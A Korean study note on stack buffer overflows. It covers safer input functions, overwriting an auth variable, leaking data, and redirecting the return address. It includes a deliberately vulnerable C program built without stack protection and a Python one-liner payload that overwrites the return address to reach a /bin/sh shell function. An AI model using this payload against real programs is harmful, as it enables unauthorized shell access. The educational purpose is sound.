Buffer Over Flow
2024년 6월 2일
BOF #
유저의 입력으로 버퍼를 침범시켜 개발자가 의도치 않은 메모리 영역을 덮어쓰는 취약점이다.
보통 c에선 \0 문자가 올때까지 문자열로 인식하기 때문에 문자열을 입력받을 때 문제가 많이 발생한다.
- scanf의
%s포맷스트링 대신%[n]s로 사이즈를 지정해줘야 한다.
ex) str[40] => %39s 로 NULL 바이트의 공간을 남겨줘야 한다. - strcpy, strcat, sprintf 등의 함수는 버퍼를 다루면서 길이를 지정하지 않아서 위험하기 때문에 strncpy, strncat, snprintf, fgets, memcpy등을 사용하면 좋다.
중요 데이터 변조 #
버퍼 오버플로우가 발생하는 버퍼 뒤에 중요한 데이터가 있다면 변조가 가능하다.
1int check_auth(char *password) {
2 int auth = 0;
3 char temp[16];
4
5 if(!strcmp(temp, "SECRET_PASSWORD"))
6 auth = 1;
7 return auth;
8}
이런 함수가 있을 때 SECRET_PASSWORD를 입력하지 않고도 BOF를 통해 auth를 다른 값으로 채워줄 수 있다.
disassemble 코드를 보면 auth 변수에 해당하는 4byte가 rbp-4 위치 인것을 알 수 있다.
password를 충분히 긴 문자열 (0123456789012345678901234567ABCD)로 받은 후 스택을 보면 auth 영역까지 침범하게 된다.
데이터 유출 #
같은 방법으로 문자열의 NULL 바이트를 overwrite 해서 출력할때 다른 메모리까지 읽어오면 데이터의 유출이 발생할 수 있다.
흐름 변경 #
함수의 call 명령어는 return address를 스택에 push 하게 되는데, 함수가 종료될 때 ret 명령어로 pop rip 와 같은 동작을 수행한다.
이때 이 return address 영역을 overwrite 하면 ret 명령에서 공격자가 원하는 메모리로 rip를 세팅할 수 있게 된다.
1// gcc -o rao rao.c -fno-stack-protector -no-pie
2void get_shell() {
3 char *cmd = "/bin/sh";
4 char *args[] = {cmd, NULL};
5
6 execve(cmd, args, NULL);
7}
8
9int main() {
10 char buf[0x28];
11
12 printf("Input: ");
13 scanf("%s", buf);
14
15 return 0;
16}
메인함수도 사실 프로그램의 entry point를 따라가다보면 호출해주는 함수이며, main의 스택에 저장된 return address를 get_shell 이라는 함수로 이동시키면 풀 수 있다.
문자열이 아닌 바이너리 데이터를 입력으로 주려면 python 같은 도구를 사용해야 한다.
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
core-dump #
1$ ./rao
2Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
3[1] 1828520 segmentation fault (core dumped) ./rao
크래시로 프로그램이 종료되는 경우 에러와 함께 (core dumped) 메시지가 출력되는 것을 볼 수 있다.
ubuntu 20.04 기준으로 /var/lib/apport/coredump 위치에 저장되며, 코어파일 크기제한으로 저장되지 않는 경우 $ ulimit -c unlimited 명령으로 제한을 해제할 수 있다.